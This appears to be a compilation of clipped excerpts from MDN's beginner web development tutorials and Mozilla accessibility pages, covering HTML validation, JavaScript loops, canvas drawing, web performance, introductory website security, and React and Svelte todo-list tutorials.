...idation Service in one browser tab, if it isn't already open. Switch to the Validate by Direct Input tab. Copy all of the sample document's code (not just the body) and paste it into the large text area shown in the Markup Validation Service. Press the Check button. This should give you a list of errors and other information. Interpreting the error messages The error messages are usually helpful, but sometimes they are not so helpful; with a bit of practice you can work out how to interpret these to fix your code. Let's go through the error messages and see what they mean. You'll see that each message comes with a line and column number to help you to locate the error easily. "Consider adding a lang attribute to the html start tag to declare the language of this document.": This is...
...le, and this error message comes with a line of code that points out an example of an open element: example: <a href="https://www.mozilla.org/>link to Mozilla homepage</a> ? </ul>? </body>?</html> Note: An attribute missing a closing quote can result in an open element because the rest of the document is interpreted as the attribute's content. "Unclosed element ul": This is not very helpful, as the <ul> element is closed correctly. This error comes up because the <a> element is not closed, due to the missing closing quote mark. If you can't work out what every error message means, don't worry about it -- a good idea is to try fixing a few errors at a time. Then try revalidating your HTML to show what errors are left. Sometimes fixing an earlier error will also get rid of other ...
Mozilla splash page - Learn web development
Access the different images in the originals directory and save them in the same way; you'll want to save them in a different directory for now, as you'll need to manipulate (some of) them using a graphics editor before they're ready to be used. Alternatively, you could use an online tool such as Glitch to create your example. This would also be useful if you want to get it assessed, or ask for help -- see the Assessment or further help section at the bottom of this page. Note: The example HTML file contains quite a lot of CSS, to style the page. You don't need to touch the CSS, just the HTML inside the <body> element -- as long as you insert the correct markup, the styling will make it look correct. Project brief In this assessment we are presenting you with a mostly-finished Mozilla s...
...ected red panda Inside the <div> with the class of red-panda, we want to insert a <picture> element that serves the small portrait panda image if the viewport is 600px wide or less, and the large landscape image otherwise. Example The following screenshots show what the splash page should look like after being correctly marked up, on a wide and narrow screen display. Assessment or further help If you would like your work assessed, or are stuck and want to ask for help: Put your work into an online shareable editor such as CodePen, jsFiddle, or Glitch. Glitch is probably better for this example, as it allows you upload assets like images, whereas some of the other tools don't. Write a post asking for assessment and/or help at the MDN Discourse forum. Add the "learning" tag to your ...
...some of the other tools don't. Write a post asking for assessment and/or help at the MDN Discourse forum. Add the "learning" tag to your post so we are able to more easily find it. Your post should include: A descriptive title such as "Assessment wanted for Mozilla splash page". Details of what you would like us to do -- for example what you have already tried, if you are stuck and need help,. A link to the example you want assessed or need help with, in an online editor. This is a good practice to get into -- it's very hard to help someone with a coding problem if you can't see their code. A link to the actual task or assessment page, so we can find the question you want help with. Previous Overview: Multimedia and embedding In this module Images in HTML Vide...
Assessment: Structuring planet data - Learn web development
Before attempting this assessment you should have already worked through all the articles in this module. Objective: To test comprehension of HTML tables and associated features. Starting point To start the assessment, make local copies of blank-template.html, minimal-table.css, and planets-data.txt in a new directory in your local computer. If you get stuck, then ask us for help -- see the Assessment or further help section at the bottom of this page. Note: Alternatively, you could use a site like JSBin or Glitch to do your assessment. You could paste the HTML, CSS and JavaScript into one of these online editors. If the online editor you are using doesn't have separate JavaScript/CSS panels, feel free to put them inline <script>/<style> elements inside the HTML page. ...
...of the header row needs to be blank, and span two columns. The group row headings (e.g. Jovian planets) that sit to the left of the planet name row headings (e.g. Saturn) are a little tricky to sort out -- you need to make sure each one spans the correct number of rows and columns. One way of associating headers with their rows/columns is a lot easier than the other way. Assessment or further help If you would like your work assessed, or are stuck and want to ask for help: Put your work into an online shareable editor such as CodePen, jsFiddle, or Glitch. Write a post asking for assessment and/or help at the MDN Discourse forum Learning category. Your post should include: A descriptive title such as "Assessment wanted for Structuring planet data". Details of what you have alr...
...: Put your work into an online shareable editor such as CodePen, jsFiddle, or Glitch. Write a post asking for assessment and/or help at the MDN Discourse forum Learning category. Your post should include: A descriptive title such as "Assessment wanted for Structuring planet data". Details of what you have already tried, and what you would like us to do, e.g. if you are stuck and need help, or want an assessment. A link to the example you want assessed or need help with, in an online shareable editor (as mentioned in step 1 above). This is a good practice to get into -- it's very hard to help someone with a coding problem if you can't see their code. A link to the actual task or assessment page, so we can find the question you want help with. Previous Overview: Ta...
Image gallery - Learn web development
d do the exercise locally to begin with. Alternatively, you could use a site like JSBin or Glitch to do your assessment. You could paste the HTML, CSS and JavaScript into one of these online editors. If the online editor you are using doesn't have separate JavaScript/CSS panels, feel free to put them inline <script>/<style> elements inside the HTML page. Note: If you get stuck, then ask us for help -- see the Assessment or further help section at the bottom of this page. Project brief You have been provided with some HTML, CSS and image assets and a few lines of JavaScript code; you need to write the necessary JavaScript to turn this into a working program. The HTML body looks like this: <h1>Image gallery example</h1> <div class="full-img"> <img class="displayed-img" src="images/pic1...
... to "dark", its text content back to "Darken", and the background-color of the overlay <div> to "rgba(0,0,0,0)". The following lines provide a basis for achieving the changes stipulated in points 2 and 3 above. btn.setAttribute('class', xxx); btn.textContent = xxx; overlay.style.backgroundColor = xxx; Hints and tips You don't need to edit the HTML or CSS in any way. Assessment or further help If you would like your work assessed, or are stuck and want to ask for help: Put your work into an online shareable editor such as CodePen, jsFiddle, or Glitch. Write a post asking for assessment and/or help at the MDN Discourse forum Learning category. Your post should include: A descriptive title such as "Assessment wanted for Image gallery". Details of what you have already tried...
...k for help: Put your work into an online shareable editor such as CodePen, jsFiddle, or Glitch. Write a post asking for assessment and/or help at the MDN Discourse forum Learning category. Your post should include: A descriptive title such as "Assessment wanted for Image gallery". Details of what you have already tried, and what you would like us to do, e.g. if you are stuck and need help, or want an assessment. A link to the example you want assessed or need help with, in an online shareable editor (as mentioned in step 1 above). This is a good practice to get into -- it's very hard to help someone with a coding problem if you can't see their code. A link to the actual task or assessment page, so we can find the question you want help with. Previous Overview: Bu...
Looping code - Learn web development
0. In each iteration of the loop, we check whether the amount of food the farmer has is larger or equal to the amount he needs. If so, we can exit the loop. If not, the farmer spends an hour collecting two portions of food, and the loop runs again. Why bother? At this point, you probably understand the high-level concepts behind loops, but you are probably thinking "OK, great, but how does this help me write better JavaScript code?" As we said earlier, loops are all to do with doing the same thing over and over again, which is great for rapidly completing repetitive tasks. Often, the code will be slightly different on each successive iteration of the loop, which means that you can complete a whole load of tasks that are similar but slightly different -- if you've got a lot of different calc...
... of admitted.textContent. Extra bonus question -- after completing the above tasks successfully, you will be left with two lists of names, separated by commas, but they will be untidy -- there will be a comma at the end of each one. Can you work out how to write lines that slice the last comma off in each case, and add a full stop to the end? Have a look at the Useful string methods article for help. If you make a mistake, you can always reset the example with the "Reset" button. If you get really stuck, press "Show solution" to see a solution. Active learning 2 <h2>Live output</h2> <div class="output" style="height: 100px;overflow: auto;"> <p class="admitted">Admit: </p> <p class="refused">Refuse: </p> </div> <h2>Editable code</h2> <p class="a11y-label">Press Esc to move focus away...
...Loops. Conclusion This article has revealed to you the basic concepts behind, and different options available when looping code in JavaScript. You should now be clear on why loops are a good mechanism for dealing with repetitive code and are raring to use them in your own examples! If there is anything you didn't understand, feel free to read through the article again, or contact us to ask for help. ...
Drawing graphics - Learn web development
lement on the page: <canvas width="320" height="240"></canvas> This will create a canvas on the page with a size of 320 by 240 pixels. Inside the canvas tags, you can put some fallback content, which is shown if the user's browser doesn't support canvas. <canvas width="320" height="240"> <p>Your browser doesn't support canvas. Boo hoo!</p> </canvas> Of course, the above message is really unhelpful! In a real example you'd want to relate the fallback content to the canvas content. For example, if you were rendering a constantly updating graph of stock prices, the fallback content could be a static image of the latest stock graph, with alt text saying what the prices are in text. Creating and sizing our canvas Let's start by creating our own canvas that we draw future experiments on to.
...u've drawn so far. You can also use features like lineWidth and fillStyle/strokeStyle with paths as well as rectangles. A typical, simple path-drawing operation would look something like so: ctx.fillStyle = 'rgb(255, 0, 0)'; ctx.beginPath(); ctx.moveTo(50, 50); // draw your path ctx.fill(); Drawing lines Let's draw an equilateral triangle on the canvas. First of all, add the following helper function to the bottom of your code. This converts degree values to radians, which is useful because whenever you need to provide an angle value in JavaScript, it will nearly always be in radians, but humans usually think in degrees. function degToRad(degrees) { return degrees * Math.PI / 180; }; Next, start off your path by adding the following below your previous addition; here we ...
...e three properties in their basic usage: the text string to draw and the X and Y coordinates of the point to start drawing the text at. This works out as the bottom left corner of the text box (literally, the box surrounding the text you draw), which might confuse you as other drawing operations tend to start from the top left corner -- bear this in mind. There are also a number of properties to help control text rendering such as font, which lets you specify font family, size, etc. It takes as its value the same syntax as the CSS font property. Try adding the following block to the bottom of your JavaScript: ctx.strokeStyle = 'white'; ctx.lineWidth = 1; ctx.font = '36px arial'; ctx.strokeText('Canvas text', 50, 50); ctx.fillStyle = 'red'; ctx.font = '48px georgia'; ctx.fillText('Canvas te...
Adding features to our bouncing balls demo - Learn web development
a new directory in your local computer. Alternatively, you could use a site like JSBin or Glitch to do your assessment. You could paste the HTML, CSS and JavaScript into one of these online editors. If the online editor you are using doesn't have separate JavaScript/CSS panels, feel free to put them inline <script>/<style> elements inside the HTML page. Note: If you get stuck, then ask us for help -- see the Assessment or further help section at the bottom of this page. Hints and tips A couple of pointers before you get started. This assessment is quite challenging. Read the whole assessment before you start coding, and take each step slowly and carefully. It might be a good idea to save a separate copy of the demo after you get each stage working, so you can refer back to it if you...
... updates: Create a variable that stores a reference to the paragraph. Keep a count of the number of balls on screen in some way. Increment the count and display the updated number of balls each time a ball is added to the scene. Decrement the count and display the updated number of balls each time the evil circle eats a ball (causes it not to exist). Assessment or further help If you would like your work assessed, or are stuck and want to ask for help: Put your work into an online shareable editor such as CodePen, jsFiddle, or Glitch. Write a post asking for assessment and/or help at the MDN Discourse forum Learning category. Your post should include: A descriptive title such as "Assessment wanted for Adding bouncing balls features". Details of what you h...
...t your work into an online shareable editor such as CodePen, jsFiddle, or Glitch. Write a post asking for assessment and/or help at the MDN Discourse forum Learning category. Your post should include: A descriptive title such as "Assessment wanted for Adding bouncing balls features". Details of what you have already tried, and what you would like us to do, e.g. if you are stuck and need help, or want an assessment. A link to the example you want assessed or need help with, in an online shareable editor (as mentioned in step 1 above). This is a good practice to get into -- it's very hard to help someone with a coding problem if you can't see their code. A link to the actual task or assessment page, so we can find the question you want help with. Previous Overview: Ob...
Test your skills: JSON - Learn web development
This aim of this skill test is to assess whether you've understood our Working with JSON article. Note: You can try out the solution in the interactive editor below. If you get stuck, then ask us for help -- see the Assessment or further help section at the bottom of this page. Note: In the example below, if there is an error in your code it will be outputted into the results panel on the page, to help you try to figure out the answer (or into the browser's JavaScript console, in the case of the downloadable version). JSON 1 The one and only task in this article concerns accessing JSON data and using it in your page. JSON data about some mother cats and their kittens is available in sample.json. The JSON is loaded into the page as a text string and made available in the catString para...
...both the JavaScript code and the requested JSON file are on the same origin (the code sits on a GitHub repo, and is embedded here in an <iframe>). If you put your code on CodePen for example, it would fail because the JSON it is requesting is not on the same origin. You can get around these restrictions using CORS, but this is beyond the scope of what we are teaching here. Assessment or further help You can practice these examples in the Interactive Editor above. If you would like your work assessed, or are stuck and want to ask for help: Write a post asking for assessment and/or help at the MDN Discourse forum Learning category. Your post should include: A descriptive title such as "Assessment wanted for JSON skill test". Details of what you have already tried, and what you w...
...e Editor above. If you would like your work assessed, or are stuck and want to ask for help: Write a post asking for assessment and/or help at the MDN Discourse forum Learning category. Your post should include: A descriptive title such as "Assessment wanted for JSON skill test". Details of what you have already tried, and what you would like us to do, e.g. if you are stuck and need help, or want an assessment. Your code. A link to the actual task or assessment page, so we can find the question you want help with. ...
Measuring performance - Learn web development
For example, you can use performance metrics to determine how your app performs in comparison to a competitor or you can compare your app's performance across releases. The metrics you choose to measure should be relevant to your users, site, and business goals. They should be collected and measured in a consistent manner and analyzed in a format that can be consumed and understood by non-technical stakeholders. ...
...measurement events and it can notify you of new performance entries as they are recorded in the browser's performance timeline. While this article does not dive into using these APIs, it is useful to know they exist. You can also refer to the Navigation and timings article for further examples on using performance Web APIs. Tools and metrics There are a number of different tools available to help you improve performance. These can generally be classified into two categories: Tools that indicate or measure performance, such as PageSpeed Insights or the Firefox Network Monitor and Performance Monitor. These tools show you how fast or slow your web app or site load. They also indicate areas that can be improved to optimize your web app. Tools that update code so that your web app or site...
...ed form the network, along with a time graph that shows how long each one took to download. You can also use the Performance Monitor to measure the performance of a web app or site's user interface as you perform different actions. This indicates the features that might be slowing down your web app or site. Conclusion This article provided a brief overview of the web performance metrics to help introduce you to what you can measure on a web app or site. Next up, you'll look at perceived performance and some techniques to make unavoidable performance hits appear less severe to the user, or disguise them completely. Previous Overview: Performance Next In this module The "why" of web performance What is web performance? How do users perceive performance? Measuring performan...
The business case for web performance - Learn web development
ult in a loss of business revenue. This article discusses how certain business metrics directly relate to a user's web performance experience and how to apply service design to boost the user's experiences of web performance. It highlights the importance of understanding how cumulative experiences impact conversion and retention rates. Performance budgets Setting a web performance budget can help you make sure the team stays on track in keeping the site and help prevent regressions. A performance budget is a set of limits that are set to specify limits, such as maximum number of http requests allowed, the maximum total size of all the assets combined, the minimum allowable FPS on a specific device, etc, that must be maintained. The budget can be applied to a single file, a file type, all...
...allowed, the maximum total size of all the assets combined, the minimum allowable FPS on a specific device, etc, that must be maintained. The budget can be applied to a single file, a file type, all files loaded on a page, a specific metric, or a threshold over a period of time.The budget reflects reachable goals; whehter they are time, quantity, or rule based. Definining and promoting a budget helps performance proponent advocates for good user experience against competing interests, such as marketing, sales, or even other developers that may want to add videos, 3rd party scripts, or even frameworks. Performance budgets help developer teams protect optimal performane for users while enabling the business to tap into new markets and deliver custom experiences. key performance indicators Se...
...low time on site metrics. Net Promotion Score The net promoter score (NPS) is a metric for assessing customer loyalty for a company's brand, product, or service. Poor user performance experiences can equation to poor brand reputation. Setting converstion rate, time on site, and/or net promotion scores as KPIs give financial and other business goal value to the web performance efforts, and get help boost buy in, with metrics to prove the efforts worth. Expectation versus reality in performance Business performance (in revenue, operations, etc.) is directly related to how to web performance. (source needed). Area of conflict - not prioritizing web performance, but expecting good business metrics (see the three above). Previous Overview: Performance In this module The "why" of...
Client-Server Overview - Learn web development
Prerequisites: Basic computer literacy. ...
...ter the junior() function gets the list of junior teams, it calls the render() function, passing the original HttpRequest, an HTML template, and a "context" object defining the information to be included in the template. The render() function is a convenience function that generates HTML using a context and an HTML template, and returns it in an HttpResponse object. ...
...Response object. Obviously web frameworks can help you with a lot of other tasks. We discuss a lot more benefits and some popular web framework choices in the next article. Summary At this point you should have a good overview of the operations that server-side code has to perform, and know some of the ways in which a server-side web framework can make this easier. In a following module we'll help you choose the best Web Framework for your first site. Previous Overview: First steps Next In this module Introduction to the server side Client-Server overview Server-side web frameworks Website security ...
Website security - Learn web development
Prerequisites: Basic computer literacy. Objective: To understand the most common threats to web application security and what you can do to reduce the risk of your site being hacked. ...
...nds very ominous, the good news is that if you're using a server-side web framework, it will almost certainly enable "by default" robust and well-thought-out defense mechanisms against a number of the more common attacks. Other attacks can be mitigated through your web server configuration, for example by enabling HTTPS. Finally, there are publically available vulnerability scanner tools that can help you find out if you've made any obvious mistakes. The rest of this article gives you more details about a few common threats and some of the simple steps you can take to protect your site. Note: This is an introductory topic, designed to help you start thinking about website security, but it is not exhaustive. Website security threats This section lists just a few of the most common website...
...store and display data that you need. For example, if your users must store sensitive information like credit card details, only display enough of the card number that it can be identified by the user, and not enough that it can be copied by an attacker and used on another site. The most common pattern at this time is to only display the last 4 digits of a credit card number. Web frameworks can help mitigate many of the more common vulnerabilities. Summary This article has explained the concept of web security and some of the more common threats against which your website should attempt to protect. Most importantly, you should understand that a web application cannot trust any data from the web browser. All user data should be sanitized before it is displayed, or used in SQL queries and fi...
React interactivity: Events and state - Learn web development
hatever you chose to write there. Callback props In React applications, interactivity is rarely confined to just one component: events that happen in one component will affect other parts of the app. When we start giving ourselves the power to make new tasks, things that happen in the <Form /> component will affect the list rendered in <App />. We want our handleSubmit() function to ultimately help us create a new task, so we need a way to pass information from <Form /> to <App />. We can't pass data from child to parent in the same way as we pass data from parent to child using standard props. Instead, we can write a function in <App /> that will expect some data from our form as an input, then pass that function to <Form /> as a prop. This function-as-a-prop is called a callback prop. Onc...
...unction is giving each task the same id. This is bad for accessibility, and makes it impossible for React to tell future tasks apart with the key prop. In fact, React will give you a warning in your DevTools console -- "Warning: Encountered two children with the same key..." We need to fix this. Making unique identifiers is a hard problem - one for which the JavaScript community has written some helpful libraries. We'll use nanoid because it's tiny, and it works. Make sure you're in the root directory of your application and run the following terminal command: npm install nanoid Note: If you're using yarn, you'll need the following instead: yarn add nanoid Now we can import nanoid into the top of App.js so we can use it to create unique IDs for our new tasks. First of all, include the f...
...asksNoun} remaining`; Now you can replace the list heading's text content with the headingText variable. Update your <h2> like so: <h2 id="list-heading">{headingText}</h2> Completing a task You might notice that, when you click on a checkbox, it checks and unchecks appropriately. As a feature of HTML, the browser knows how to remember which checkbox inputs are checked or unchecked without our help. This feature hides a problem, however: toggling a checkbox doesn't change the state in our React application. This means that the browser and our app are now out-of-sync. We have to write our own code to put the browser back in sync with our app. Proving the bug Before we fix the problem, let's observe it happening. We'll start by writing a toggleTaskCompleted() function in our App() componen...
Beginning our React todo list - Learn web development
Familiarity with the core HTML, CSS, and JavaScript languages, knowledge of the terminal/command line. Objective: To introduce our todo list case study, and get the basic App structure and styling in place. Our app's user stories In software development, a user story is an actionable goal from the perspective of the user. Defining user stories before we begin our work will help us focus our work. Our app should fulfill the following stories: As a user, I can read a list of tasks. add a task using the mouse or keyboard. mark any task as completed, using the mouse or keyboard. delete any task, using the mouse or keyboard. edit any task, using the mouse or keyboard. view a specific subset of tasks: All tasks, only the active task, or only the completed tasks. We...
...ect yet, because we have not included any CSS. Once we have put our styles in place, though, any element with this class will be hidden from sighted users and still available to screen reader users -- this is because these words are not needed by sighted users; they are there to provide more information about what the button does for screenreader users that do not have the extra visual context to help them. Further down, you can find our <ul> element: <ul role="list" className="todo-list stack-large stack-exception" aria-labelledby="list-heading" > The role attribute helps assistive technology explain what kind of element a tag represents. A <ul> is treated like a list by default, but the styles we're about to add will break that functionality. This role will restore the "list" meanin...
...store the "list" meaning to the <ul> element. If you want to learn more about why this is necessary, you can check out Scott O'Hara's article, "Fixing Lists". The aria-labelledby attribute tells assistive technologies that we're treating our list heading as the label that describes the purpose of the list beneath it. Making this association gives the list a more informative context, which could help screen reader users better understand the purpose of it. Finally, the labels and inputs in our list items have some attributes unique to JSX: <input id="todo-0" type="checkbox" defaultChecked={true} /> <label className="todo-label" htmlFor="todo-0"> Eat </label> The defaultChecked attribute in the <input/ > tag tells React to check this checkbox initially. If we were to use checked, as we w...
Starting our Svelte Todo list app - Learn web development
ect yet, because we have not included any CSS. Once we have put our styles in place, though, any element with this class will be hidden from sighted users and still available to screen reader users -- this is because these words are not needed by sighted users; they are there to provide more information about what the button does for screenreader users that do not have the extra visual context to help them. Further down, you can find the following <ul> element: <ul role="list" className="todo-list stack-large" aria-labelledby="list-heading"> The role attribute helps assistive technology explain what kind of semantic value an element has -- or what its purpose is. A <ul> is treated like a list by default, but the styles we're about to add will break that functionality. This role will restore...
...aning to the <ul> element. If you want to learn more about why this is necessary, you can check out Scott O'Hara's article, "Fixing Lists". The aria-labelledby attribute tells assistive technologies that we're treating our <h2> with an id of list-heading as the label that describes the purpose of the list beneath it. Making this association gives the list a more informative context, which could help screen reader users better understand the purpose of it. This seems like a good time to talk about how Svelte deals with accessibility; let's do that now. Svelte accessibility support Svelte has a special emphasis on accessibility. The intention is to encourage developers to write more accessible code "by default". Being a compiler, Svelte can statically analyze our HTML templates to provide a...
...'s do that now. Svelte accessibility support Svelte has a special emphasis on accessibility. The intention is to encourage developers to write more accessible code "by default". Being a compiler, Svelte can statically analyze our HTML templates to provide accessibility warnings when components are being compiled. Accessibility (shortened to a11y) isn't always easy to get right, but Svelte will help by warning you if you write inaccessible markup. For example, if we add an <img> element to our todos.svelte component without its corresponding alt prop: <h1>Svelte To-Do list</h1> <img height="32" width="88" src="https://udn.realityripple.com/samples/b0/98dase3c7d.png"> The compiler will issue the following warning: (!) Plugin svelte: A11y: <img> element should have an alt attribute src/c...
Working with Svelte stores - Learn web development
ce versa when we are loading the value from local storage. Create a new file called localStore.js, in your src directory. ...
...e called localStore.js, in your src directory. ...
...ribe(), set(), and update(). When we create a new localStore, we'll have to specify the key of the web storage and an initial value. We then check if the value exists in web storage and, if not, we create it. We use the localStorage.getItem(key) and localStorage.setItem(key, value) methods to read and write information to web storage, and the toString() and toObj() (which uses JSON.parse()) helper functions to convert the values. Next, we convert the string content received from the web storage to an object, and save that object in our store. Finally, every time we update the contents of the store, we also update the web storage, with the value converted to a string. Notice that we only had to redefine the set() method, adding the operation to save the value to web storage. T...
Dynamic behavior in Svelte: working with variables and props - Learn web development
ated, updating newTodoId accordingly. Let's use this in our addTodo() function -- update it like so: function addTodo() { todos = [...todos, { id: newTodoId, name: newTodoName, completed: false }] newTodoName = '' } Filtering todos by status Finally for this article, let's implement the ability to filter our todos by status. We'll create a variable to hold the current filter, and a helper function that will return the filtered todos. At the bottom of our <script> section add the following: let filter = 'all' const filterTodos = (filter, todos) => filter === 'active' ? todos.filter(t => !t.completed) : filter === 'completed' ? todos.filter(t => t.completed) : todos We use the filter variable to control the active filter: all, active, or completed. Just a...
...ppens with aria-pressed={filter === 'all'} -- when the JavaScript expression passed between curly braces evaluates to a truthy value, the aria-pressed attribute will be added to the button. Whenever we click on a button we update the filter variable by issuing on:click={()=> filter = 'all'}. Read on to find out how Svelte reactivity will take care of the rest. Now we just need to use the helper function in the {#each} loop; update it like this: ... <ul role="list" class="todo-list stack-large" aria-labelledby="list-heading"> {#each filterTodos(filter, todos) as todo (todo.id)} ... After analyzing our code, Svelte detects that our filterTodos() function depends on the variables filter and todos. And, just like with any other dynamic expression embedded in the markup, whenever...
...will be updated accordingly. So whenever filter or todos changes, the filterTodos() function will be re-evaluated and the items inside the loop will be updated. Tip: reactivity can be tricky sometimes. Svelte recognizes filter as a dependency because we are referencing it in the filterTodos(filter, todo) expression. filter is a top-level variable, so we might be tempted to remove it from the helper function params, and just call it like this -- filterTodos(todo). This would work, but now Svelte has no way to find out that {#each filterTodos(todos)... } depends on filter, and the list of filtered todos won't be updated when the filter changes. Always remember that Svelte analyzes our code to find out dependencies, so it's better to be explicit about it and not rely on the visibility of top...
Understanding client-side JavaScript frameworks - Learn web development
t-end developer, it can be hard to work out where to begin when learning frameworks -- there are so many different frameworks to choose from, new ones appear all the time, they mostly work in a similar way but do some things differently, and there are some specific things to be careful about when using frameworks. In this set of articles, we are aiming to give you a comfortable starting point to help you begin learning frameworks. We are not aiming to exhaustively teach you everything you need to know about React/ReactDOM, or Vue, or some other specific framework; the framework teams' own docs (and other resources) do that job already. Instead, we want to back up and first answer more fundamental questions such as: Why should I use a framework? What problems do they solve for me? What que...
...s a variety of reasons for this: They are popular choices that will be around for a while -- like with any software tool, it is good to stick with actively-developed choices that are likely to not be discontinued next week, and which will be desirable additions to your skill set when looking for a job. They have strong communities and good documentation. It is very important to be able to get help with learning a complex subject, especially when you are just starting out. We don't have the resources to cover all modern frameworks. That list would be very difficult to keep up-to-date anyway, as new ones appear all the time. As a beginner, trying to choose what to focus on out of the huge number of choices available is a very real problem. Keeping the list short is therefore helpful. We ...
...se we think they are the best, or because we endorse them in any way. We just think they score highly on the above criteria. Note that we were hoping to have more frameworks included upon initial publication, but we decided to release the content and then add more framework guides later, rather than delay it longer. If your favourite framework is not represented in this content and you'd like to help change that, feel free to discuss it with us! Get in touch with us via Matrix, or Discourse, or drop us a mail on the mdn-admins list. ...
Deploying our app - Learn web development
h to be sent. This is because we used the HTTPS option rather than the SSH option, as seen in the screenshot earlier. For this you need your Github username and then -- if you do not have two-factor authentication (2FA) turned on -- your GitHub password. We would always encourage you to use 2FA if possible, but bear in mind that if you do, you'll also need to use a "personal access token". Github help pages has an excellent and simple walkthrough covering how to get one. Note: If you are interested in using the SSH option, thereby avoiding the need to enter your username and password every time you push to GitHub, this tutorial walks you through how. This final command instructs git to push the code (aka publish) to the "remote" location that we called github (that's the repository host...
...mmitted in git and pushed to our GitHub repository, the next step in the toolchain is to connect GitHub to Netlify so our project can be deployed live on the web! Using Netlify for deployment Deploying from GitHub to Netlify is surprisingly simple once you know the steps, particularly with "static websites" such as this project. Note: There are also a lot of guides and tutorials on Netlify to help you improve your development workflow. Let's get this done: Go to https://app.netlify.com/start. Press the Github button underneath the Continuous Deployment heading. "Continuous Deployment" means that whenever the code repository changes, Netlify will (try) to deploy the code, thus it being "continuous". Depending on whether you authorized Netlify before, you might need t...
...Our tests are outside of Parcel's view of our system -- since Parcel never sees nor runs any of the test code, we're left to install the dependency ourselves. Now to manually run the test, from the command line we can run: npm run test The result, if successful, is ... nothing. This is considered a success. In general we only want tests to be noisy if there's ...
Accessibility API cross-reference
All accessibility APIs to date define a list of possible object roles, or general types, such as button, menu item, text, etc. They also define a list of possible object states, such as focused, read-only, checked, etc. An interesting problem is that Mozilla, Safari/KHTML, Opera, StarOffice and other apps are cross-platform, but there is currently no cross-platform Accessibility API. The IPC mechanisms used by current generation API's are also not cross-platform, although communication for some cross-platform accessibility API of the future could be done through sockets. These tables describe how various accessibility APIs define possible roles of an object, and states. ...
...et>, <div> A heading for a section of the page. In ARIA, the heading level is expressed with the aria-level attribute. heading <h1> ... <h6> <H1> ... <H6>. <H> is also available but its use is not recommended because of lack of suitable tools - and the heading level is undefined Click on this thing and then click on the item for tooltip style help HELPBALLOON n/a n/a n/a Editable field that allows user to assign a key combination HOTKEYFIELD n/a n/a n/a Graphic that indicates something, such as an arrow INDICATOR n/a n/a n/a Abstract role - A generic type of widget that allows user input. input n/a ...
... n/a n/a treegrid If you're using more than one consecutive whitespace element in HTML, you're doing it wrong. (Use CSS instead). Screen readers often ...
Accessibility information for UI designers and developers
o is easiest done with a tool, for example Lea Verou's Contrast Ratio. There are also plug-ins available for design software, like Stark for Sketch. Don't rely on color alone When your interface uses color to distinguish between things, make sure the distinction is also made in other ways. For example, add text labels or texture in addition to color differences. For example, in this chart, it helps to add labels besides the colored chart lines:People who cannot see the difference between the colors, can use the labels instead. Or in this one, you could consider using patterns besides colored areas: Again, if people are unable to distinguish the colors, they can rely on the patterns instead. See also: Understanding SC 1.4.3: Contrast The focus indicator Users who navigate by keyboard...
... changes, merely that if someone does these things in a custom stylesheet, they should not break the interface. Forms In forms, provide labels for all controls. This includes form elements like inputs and select boxes, but also buttons. For form elements, it should be clear what kind of input is expected. Placeholders are best avoided for this, as they are often too low in contrast. It is more helpful to describe what an input element is for in text just above or underneath the input. Error recovery When you detect users provide unexpected input, explain what is wrong and, if possible, how to correct it. This is specifically important in these cases: the user input is about legal commitments or financial transactions it updates or removes the user's data in a system when recording te...
...e or another page) and buttons for interactions that do something (like submit a form or open an overlay). Links can be styled as buttons and vice versa, but designers are advised to avoid this where possible. Motion On pages with transitions and animations, note that some users could experience distraction, dizziness or nausea. Pages with a parallax effect can particularly cause troubles. To help these users, you could offer a setting to turn off animations, or wrap the CSS in the prefers-reduce-motion media query. See also: Understanding Success Criterion 2.3.3: Animation from Interactions Content on hover or focus If content is revealed on hover or focus, for example in tooltips, there are some things to keep in mind: if the extra content obscures existing content, there should be...
Mozilla’s UAAG evaluation report
is 2.5 Make captions, transcripts available. (P1) NA This relates to multimedia players 2.6 Respect synchronization cues. (P1) NA This relates to multimedia players 2.7 Repair missing content. (P2) P No ALT repair strategies in place. Reasons: The title attribute is almost never present when the alt isn't. In the rare cases where it is, it is of no help (typically it's just the filename, maybe with a file size). Also, in the overwhelming majority of cases, the filename is unintelligible. Developers interested in this problem can look at the GetAlternateText() method -- see the CVS history for suggestions. We consider this to be a very difficult problem. 2.8 No repair text. (P3) P We have no repair strategy in 2.7 We have no wa...
... itself is currently responsible for letting the user know what accesskey's are available. 11.3 Override bindings. (P2) P Some bindings can be changed. See "the customizing document" There is no central place to change all bindings. Unforutunately, some are hard coded. Needs work. Bug#? 11.4 Single key access. (P2) NI Bug 953707 is our open bug for this. Help wanted. 11.5 Default binding requirements. (P2) C Provides stated functions 11.6 User profiles. (P2) VG User profiles are fully supported for all configuration options. Unfortunately, switching profiles requires the entire application to be relaunched. There is still very little end-user documentation for editing profiles by hand. 11.7 Confi...
...ittle end-user documentation for editing profiles by hand. 11.7 Configure tool bars. (P3) P Can turn on and off toolbars under Show/Hide Can customize personal bookmarks toolbar Bug 15144 is for the ability to add/remove toolbar icons Bug 47418 is for the ability to rearrange toolbars Guideline 12. Provide accessible user agent documentation and help. Checkpoint Title Status Notes/plans 12.1 Accessible documentation. (P1) NR Some end user docs are under Help, Help Contents in Mozilla Here is the main page for Mozilla end user documentation None of these resources have been evaluated for WCAG compliance 12.2 Document accessibility features. (P1) NI No end user accessibility docum...
Accessibility and Mozilla
Accessibility is the idea that software (among other things) should be designed to be usable and, as much as possible, convenient to use for people with disabilities. Mozilla strives to make its software accessible; the documents below cover the ways in which we do so. These articles provide Mozilla-specific details about accessibility. Accessibility API cross-referenceThis cross-reference helps us see the difference between today's accessibility API's. All accessibility APIs to date define a list of possible object roles, or general types, such as button, menu item, text, etc. They also define a list of possible object states, such as focused, read-only, checked, etc.Accessibility Features in FirefoxFirefox works with popular screen readers, with the best support currently coming from ...
...Information for External Developers Dealing with AccessibilityBoth end users and developers are invited for discussion on the live IRC channel at irc.mozilla.org/#accessibility. ...
... Dealing with AccessibilityBoth end users and developers are invited for discussion on the live IRC channel at irc.mozilla.org/#accessibility. Since this is a worldwide effort, there is always a good chance to find someone to chat with there, day or night.Information for Governments and Other Organizations Evaluating MozillaInformation for usersFirefox 2 now has help topics (From the menubar: ? > Help Contents F1 > Accessibility Features) which describe any special features and keyboard shortcuts designed to help users with disabilities. Please check the Accessibility help topic for more information.Links and ResourcesHere are some useful links for those interested in web accessibility as well as open source accessibility.Mozilla accessibility architectureThis page is maintained by Aaron Leven...
Browser chrome tests
